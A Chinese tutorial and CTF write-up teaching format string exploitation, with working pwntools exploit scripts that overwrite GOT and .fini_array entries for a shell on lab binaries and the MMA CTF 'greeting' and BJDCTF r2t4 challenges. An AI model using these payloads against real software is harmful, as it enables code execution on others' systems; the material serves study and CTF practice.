格式化字符串漏洞及利用_萌新食用

前言

格式化字符串漏洞 具有 任意地址读，任意地址写。

printf

printf --一个参数：情况1

当参数 只有 1个字符串的话(含有%?)， //？ 即 i， x， s 等等<br>第一个参数 作为 格式化字符串，而这个格式化字符串里含有解析 字符串的 %p ，它将第一个参数作为 格式化字符串，

第二个参数 作为 格式化字符串的参数表 中的第一个参数 即 %p 对应 栈中 0xffffd144 的内容，//它将栈中 0xffffd144 的内容 以带有0x 的16进制显示出来。（32位 程序传参方式 传到栈上，栈地址 0xffffd144 中的内容为 第二个参数）

printf --一个参数：情况2

当参数 只有 1个字符串的话(不含有%?)，在Linux中会 被转化为puts(arg) //？ 即 i， x， s 等等

printf --两个参数：

当两个参数 时，第一个参数作为 格式化字符串，

第二个参数 作为 格式化字符串的参数表 中的第一个参数 即 %s 对应 “yangmutou”

printf --三个参数：

当三个参数 时，第一个参数作为 格式化字符串，

第二个参数 作为 格式化字符串的参数表 中的第一个参数 即 %s 对应 “yangmutou”

第三个参数 作为 格式化字符串的参数表 中的第二个参数 即 %d 对应 20

任意地址 读

而这个函数是有漏洞的我们简单 看下面我写的例子：

我们可以控制 printf 的参数。我们输入 “aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p”到 0xffffd11c 栈地址处

可以看到 我们输入的这一整个字符串 作为了 格式化字符串，

aaaa后面的第一个 %p 被 格式化字符串的参数表 中的第一个参数(0xffffd100+0x4*1中的内容) 解析成“0x + 16进制”0xffffd11c 然后替换掉

aaaa后面的第二个 %p 被 格式化字符串的参数表 中的第二个参数(0xffffd100+0x4*2中的内容) 解析成“0x + 16进制” 0x64 然后替换掉

aaaa后面的第二个 %p 被 格式化字符串的参数表 中的第三个参数(0xffffd100+0x4*3中的内容) 解析成“0x + 16进制” 0x5655561e 然后替换掉

具体可以 看下面的 gdb 截图：

此时的栈：

另外 我们可以通过这种 方法 得到 ，第 7 个 %p 被替换成 0x61616161，即我们输入的 字符串 存到了 偏移 为 7 的 位置。这里的偏移 可以理解为 上面 的 “格式化字符串的参数表 中的第 x 个参数”另外 我们可以通过输入 %offset$p 直接输出 偏移为 7 处的内容(“0x + 16进制”) 试下 输出结果：

我们可以观察下 栈地址 0xffffd11c+0x4*2 处中的地址是个 指向字符串的指针

我们可以输出结果：

%9$s

/home/yangmutou/桌面/fmt

总结：即格式化漏洞的任意地址 读 其实仅需要 通过 “%偏移$格式输出” 便可以了，利用方式 很简单。这里主要 就是 要特别 注意一点，这里的偏移 是指的格式化 字符串的第几个参数，而不是说是printf 函数的第几个参数呐，因为 本来 格式化字符串 就是 printf 函数的第一个参数。两者 有 相差 1 的数学等式 关系。

任意地址 写

我们还看 上面我写的小例子。

因为 不存在栈溢出，但我们要 getshell又 需要将 返回地址 给覆盖成 backdoor 地址。即需要利用格式化字符串漏洞的 任意地址写。

首先：

bss_addr : 0804a028 //readelf -S fmt | grep bss 得到在格式化字符串 中 有一个 特殊的格式化控制符 “%n”，它可以将已经输出的字节个数写入到 指定的 的地址中一般使用方式："\x28\xa0\x04\x08%7$n",就是 将 已经输出的字节个数 写入到 指定的地址0x0804a028 处（这里指定的地址处就是 偏移为7(格式化字符串的第7个参数) 的栈地址中的内容，即就是 我们写入的0x0804a024 指定地址）

payload 写成上面形式 理论上 是可以成功的，但我这次确失败了。于是就写脚本形式吧。

输入之前：

输入 之后 ：

可以发现 4 被写入发 0x0804a024 中了 ,4即是p32(0x0804a024)的字节数。输出到屏幕上 的。

以上我们就算是演示下 任意写的 简单用法了。

而这题 我原本想的 是 将 backaddr 的地址写入 ret_addr,脚本如下：但失败了，因为想法 就是错的。

如果我们采用 下面exp 的方法 ，是向 ret_addr 所在栈地址中的 内容 作为指针 ，向这个 指针中 写入 0x80484b6 。而并不是 把 ret_addr 所在栈地址 作为指针，并不是向栈地址中写入 0x80484b6

所以 ，换思路：我们 将printf_got 指针指向的 地址 改为 system_plt

%hn 一次性写入2个字节

p=process("./fmt")

elf=ELF("./fmt")

offset=7

printf_got=elf.got['printf']#0x0804a010

system_plt=elf.plt['system']#0x08048360

print "printf_got is "+hex(printf_got)

print "system_plt is "+hex(system_plt)

payload=p32(printf_got)+"%"+str(system_plt-4)+"c%7$n"# make printf_got -> system_plt

gdb.attach(p)

p.sendline(payload)

p.interactive()

可以看到 printf_got 指针指向的 地址 改为了 system_plt

所以，printf(&arg),就相当于 system(&arg)了，如果我们再发送 "/bin/sh\x00",作为arg 就能getshell了。但 程序只能运行一次。

为了学习。我们加上循环，重新编译。

//gcc -g -m32 -fno-stack-protector -no-pie -o fmt fmt.c 为了调试方便，关闭canary 和pie 保护

#include<stdio.h>

#include<stdlib.h>

#include<string.h>

#include<unistd.h>

int backdoor()

{

return system("/bin/sh\x00");

}

int main()

{

while(1)

{

char buf[100];

memset(&buf,0,100);

read(0, &buf,100);

printf(&buf);

}

return 0;

}

exp:

from pwn import *

p=process("./fmt")

elf=ELF("./fmt")

offset=7

printf_got=elf.got['printf']#0x0804a010

system_plt=elf.plt['system']#0x08048360

print "printf_got is "+hex(printf_got)

print "system_plt is "+hex(system_plt)

payload=p32(printf_got)+"%"+str(system_plt-4)+"c%7$n"# make printf_got -> system_plt

gdb.attach(p)

p.sendline(payload)

p.sendline("/bin/sh\x00")

p.interactive()

成功 getshell！

%n系列

当这样构造payload 在比赛或者是 实际 漏洞利用时，往往会不会成功。因为一次行传输这么大量的字节 会导致网络卡顿或者中断连接。

我们再来了解下”%n“ 格式化字符的扩展(称不上 其实，就称为一个系列吧)

%n 一次性写入4个字节

%hn 一次性写入2个字节

%hhn 一次性写入1个字节

这个"%n"系列的 作用就是 向 指定的地址中写入 已经输出的字节个数。用 "%偏移$n"("%偏移$hn","%偏移$hhn") 用偏移控制 指定地址。

我们稍微改造下 上面的exp：

#coding:utf8

from pwn import *

p=process("./fmt")

elf=ELF("./fmt")

offset=7

printf_got=elf.got['printf']#0x0804a010

system_plt=elf.plt['system']#0x08048360

print "printf_got is "+hex(printf_got)

print "system_plt is "+hex(system_plt)

#思路：向 printf_got 中 写入 system_plt

# 我们把 printf_got 最低位字节 覆盖成 0x60 一字节 写入 %hhn

# 我们把 printf_got 最低位字节+1字节 覆盖成 0x83 一字节 写入 %hhn

# 我们把 printf_got 最低位字节+2字节 覆盖成 0x04 一字节 写入 %hhn

# 我们把 printf_got 最低位字节+3字节 覆盖成 0x08 一字节 写入 %hhn

payload=p32(printf_got) #0x60 # 偏移 为 7

payload+=p32(printf_got+1) #0x83 # 偏移 为 8

payload+=p32(printf_got+2) #0x04 # 偏移 为 9

payload+=p32(printf_got+3) #0x08 # 偏移 为 10

payload+="%"+str(0x60-0x4*4)+"c%7$hhn" #0x60 # 偏移 为 7

payload+="%"+str(0x83-0x60)+"c%8$hhn" #0x83 # 偏移 为 8

payload+="%"+str(0x104-0x83)+"c%9$hhn" #0x04 # 偏移 为 9 #由于是hhn所以会被截断，只留后两位

payload+="%"+str(0x8-0x4)+"c%10$hhn" #0x08 # 偏移 为 10

gdb.attach(p)

p.sendline(payload)

p.sendline("/bin/sh\x00")

p.interactive()

成功getshell！其实 有一点疑问的 明明 printf_got，system_plt 的地址 的搞两个字节 相同，但在这题中 如果不覆盖 会失败！

pwntools之 Fmtstr

在 pwntools 提供给了 我们一个 很方便的 类 Fmtstr，用于构造 格式化任意写 的payload官方文档可见于：

http://docs.pwntools.com/en/stable/fmtstr.html

最常用 功能：

fmtstr_payload(offset, {printf_got:system_plt})

即第一个参数 为 输入的payload 的偏移，第二个参数 为一个 {} 组合，“:”前面是要覆盖地址里的内容 被覆盖为":"后面的内容。所以这题就可以这样构造：

而上面 是 32 位程序，我们现在来学下 看下更加主流的 64 位程序 是如何的。

//gcc -g -fno-stack-protector -no-pie -o fmt fmt.c 为了调试方便，关闭canary 和pie 保护； 另外去掉 -m32 参数

#include<stdio.h>

#include<stdlib.h>

#include<string.h>

#include<unistd.h>

int backdoor()

{

return system("/bin/sh\x00");

}

int main()

{

while(1)

{

char buf[100];

memset(&buf,0,100);

read(0, &buf,100);

printf(&buf);

}

return 0;

}

我门首先还是 查看 偏移：

aaaaaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

gdb 调试：

发现，我们的payload 存放在 栈顶了，偏移难道是 0 吗，当然并不是。

但我们都知道 64 位程序 传参的时候是 从左到右 依次放入 寄存器：rdi，rsi，rdx，rcx，r8，r9 ，当参数大于等于 7 的时候 后面参数会依次 从右向左 放入栈中！

即 栈顶 存放的我们输入的payload 是作为了 printf 函数的 第7个参数，格式化字符串的第6个参数。偏移即为 6.我们可以简单证明下：

发现 并不能 这样 构造 我们可以看下 payload(以dubug 查看)

在 \x20\x10\x60后面的 是64位程序地址的高位 “\x00”但 “\x00”又会 是 字符串的结束符，相当于 截断了 payload。使payload 失去作用。于是 我们可以 调整payload，将 地址 放在 payload 的最后。由于地址中带有\x00，所以这回就不能用%hhn分段写了，因此我们的payload构造如下

gdb 查看下 是否对齐 和printf_got所在偏移

可以发现错位了 1字节 偏移为8 我们修正 下 payload，

当我们程序只能运行 一次呢，我们要怎样 gadshell 呢。再无法 ROP的情况下，我们如何利用 格式化字符串 来使得程序重新 运行呢。这里有个 流程表，

main函数作为程序入口，但编译成程序的时候入口其实是start代码段。（看下面图更利于理解）start代码段还会调用__libc_start_main来做一些初始化工作，最后调用main函数并在main函数结束后做一些处理。

在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的，main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针。（以上两行内容 来自 网络）

所以 如果 程序 不存在循环，我们的思路一般是，把 printf_got 给改成 system_plt, 同时 把我们可以 将.fini.arrary 中的 第一个指针 给 覆盖成 start 地址，当 程序 结束后，调用 .fini.arrary的第一个指针，便将执行流 弄到 程序在开始处，即相当于重新 执行了一次程序，但 printf_got 已经 是 system_plt 了，我们 输入 "/bin/sh\x00"就可拿到 shell。

我看到 这里时，本试图自己写个小程序

正常 来想 我觉得 这样 是可以 getshell 的。

但因为 无法控制 .fini.arrary 所造内存的 RWX状态，没法 向 .fini.arrary 第一个指针里 写入 内容。 默认只可读。

不假设了，还是看真题吧！

#coding:utf8

from pwn import *

context(arch="amd64",os='linux',log_level="debug")

p=process("./fmt_64")

elf=ELF("./fmt_64")

#offset=6

printf_got=elf.got['printf']

system_plt=elf.plt['system']

backdoor=0x4005c7

fini_array=0x600e18 #readelf -S fmt_64 | grep fini_array

'''

backdoor is 0x4005c7

fini_array is 0x600e18

'''

print "backdoor is "+hex(backdoor)

print "fini_array is "+hex(fini_array)

#pause()

payload = "a"+"%"+str(backdoor-1)+"c%8$lln"+p64(fini_array)

#gdb.attach(p,"b main")

p.sendline(payload)

p.recv()

p.interactive()

不假设了，还是看真题吧！

MMA CTF 2nd 2016-greeting

即 32位 的elf 文件，开启了 canary

$file greeting

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63, not stripped

$checksec greeting

Arch: i386-32-little

RELRO: No RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x8048000)

拖入 ida:看下程序 流程：程序大概就是我们输入等于64 个字符 到v5中，然后 将”Nice to meet you, “+我们输入的64个字符+ “:)\n” 复制到s中！

解题思路：

为了程序重新运行，我们将.fini_array数组的第一个元素为start地址

因为当执行过start地址后，.fini_array数组的第一个元素将不再是start地址，所以我们在将程序重新执行后，我们需要将执行过程中的一个函数的got地址改成system的plt地址，然后第二次就直接输入/bin/sh\x00 拿shell了

测偏移：12首先 输入

aaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..

Hello, I'm nao!

Please tell me your name... aaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..

Nice to meet you, aaaa0x80487d0..0xffa5f54c..(nil)..(nil)..(nil)..(nil)..0x6563694e..0x206f7420..0x7465656d..0x756f7920..0x6161202c..0x70256161..0x70252e2e..0x70252e2e..0x70252e2e. :)

发现 0x70256161 6161 是我们 的输入的a！显然没有对齐，我们在aaaa前面再加2a，于是我们发送

aaaaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..

Hello, I'm nao!

Please tell me your name... aaaaaa%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..%p..

Nice to meet you, aaaaaa0x80487d0..0xffb9e0bc..(nil)..(nil)..(nil)..(nil)..0x6563694e..0x206f7420..0x7465656d..0x756f7920..0x6161202c..0x61616161..0x2e2e7025..0x2e2e7025..% :)#

发现是12偏移aaaaaa的后四个a 的偏移 是 12 对应于 下面exp 中payload 中的 p32(fini_array) 位置处

其中 exp 中 %hn 是以 两字节 写入。这里 之所以 payload 最开始 会 对 +18 感到 疑惑，其实 这是 因为 sprintf(&s, "Nice to meet you, %s :)\n", &v5); //格式化字符串漏洞 首先 会输出 18 字节的 格式化字符串。

#coding:utf8

from pwn import *

context.log_level = 'debug'

conn=process('./greeting')

elf=ELF('./greeting')

fini_array=0x08049934 #readelf -S greeting

start=0x080484f0 # ida 看的更方便嘛！

system_plt=0x8048490

strlen_got=elf.got['strlen']

#print "strlen_got: "+hex(strlen_got)

#print "system_plt: "+hex(system_plt)

#print "fini_array: "+hex(fini_array)

#print "start: "+hex(start)

conn.recv()

payload='aa'+p32(fini_array)+p32(strlen_got+2) #18+2+4+4

payload+=p32(strlen_got)+'%34000c%12$hn' # +4+34000=0x84f0

payload+='%33556c%13$hn' #0x84f0+33556=0x10804 截断=0x0804

payload+='%31884c%14$hn' #0x10804+31884=0x18049 截断=0x8049

conn.sendline(payload) #此时已 一次性将 fini_array->start strlen_got->system_plt

conn.recv() #程序重新运行了，接受Please tell me your name...

conn.sendline('/bin/sh\x00')

conn.interactive()

成功 getshell：

然后 最后 我再 说下 这题吧！也是个 格式化字符串 任意写的 一个题型。

BJDCTF 2nd - Pwn_r2t4

这个程序 是 64位 并开启了 Canary保护的elf 文件，三天前比赛真题，还热乎着呢。

程序流程也很简单，输入什么 就输出 什么。当然这里是一个 很明显的 格式化字符串漏洞。并程序 只运行 一遍，且含有 后门函数。

int __cdecl main(int argc, const char **argv, const char **envp)

{

char buf; // [rsp+0h] [rbp-30h]

unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);

read(0, &buf, 0x38uLL); //存在栈溢出 漏洞，但有canary 保护，虽然可通过任意地址写 可泄露canary，但程序只运行 一边。

printf(&buf, &buf);

return 0;

}

unsigned __int64 backdoor()

{

unsigned __int64 v0; // ST08_8

v0 = __readfsqword(0x28u);

system("cat flag");

return __readfsqword(0x28u) ^ v0;

}

通过上面代码中的注释可知，栈溢出的方法 不可取， 因为程序开启了Canary 当函数返回的时候 会比较canary的 值 是否发生变化，如果不一致，就触发 __stack_chk_fail 函数。且程序中 含有后门函数。我们可通过格式化字符串写 将backdoor_addr写入 __stack_chk_fail_got 中脚本如下：

#coding:utf8

from pwn import *

context(arch="amd64",os='linux',log_level="debug")

p=process("./r2t4")

p=remote("node3.buuoj.cn",26640)

elf=ELF("./r2t4")

offset=6

__stack_chk_fail=elf.got['__stack_chk_fail']

backdoor=0x400626

'''

__stack_chk_fail is 0x601018

backdoor is 0x400626

'''

print "__stack_chk_fail is "+hex(__stack_chk_fail)

print "backdoor is "+hex(backdoor)

#pause()

payload = "a"+"%"+str(backdoor-1)+"c%8$lln"+p64(__stack_chk_fail)# 0x30

payload+=(0x30-8-len(payload))*'a'

#gdb.attach(p,"b main")

p.sendline(payload)

#pause()

p.recv()

p.interactive()

成功 getshell

最后最后简单 说下

和格式化字符串漏洞相关的漏洞缓解机制

我们在checksec 程序的时候中 的RELRO 项：RELRO是重定位表只读（Relocation Read Only）的缩写，即plt 和got 表，

1、如果 这项的 内容 为 No RELRO的话 就代表 重定位表 不是仅可读的，我们在 漏洞利用的时候 可 优先考虑 修改某个函数的 got 表项，去达到 getshell 的目的。

2、如果 "其RELRO项为Partial RELRO 即该程序的重定位表项全部只读，无论是.got还是.got.plt都无法修改。改got表，程序不会报错，但是数据未被修改，

3、而如果 程序开启了Full RELRO保护之后，包括格式化字符串漏洞在内，试图通过漏洞劫持got表的行为都将会被阻止。

4、如果 是FORTIFY，这是一个由GCC实现的源码级别的保护机制，其功能是在编译的时候检查源码以避免潜在的缓冲区溢出等错误。简单地说，加了这个保护之后（编译时加上参数-D_FORTIFY_SOURCE=2）一些敏感函数如read, fgets, memcpy, printf等等可能导致漏洞出现的函数都会被替换成read_chk, fgets_chk, memcpy_chk,printf_chk等。这些带了chk的函数会检查读取/复制的字节长度是否超过缓冲区长度，通过检查·诸如%n之类的字符串位置是否位于可能被用户修改的可写地址，避免了格式化字符串跳过某些参数（如直接%7$x）等方式来避免漏洞出现。开启了FORTIFY保护的程序会被checksec检出，此外，在反汇编时直接查看got表也会发现chk函数的存在

其实 ，不得说下 我对最后一个 FORTIFY ，还没怎么接触到。经验太少！

格式化（字符串）溢出实验（通过本实验，理解格式化字符串漏洞，并对其进行利用）

不得说下 我对最后一个 FORTIFY ，还没怎么接触到。经验太少！

格式化（字符串）溢出实验（通过本实验，理解格式化字符串漏洞，并对其进行利用）

实验，理解格式化字符串漏洞，并对其进行利用）

https://www.hetianlab.com/expc.do?ec=2a2450e9-563e-4d99-b0ab-089d65ba7d4d&pk_campaign=toutiao-wemedia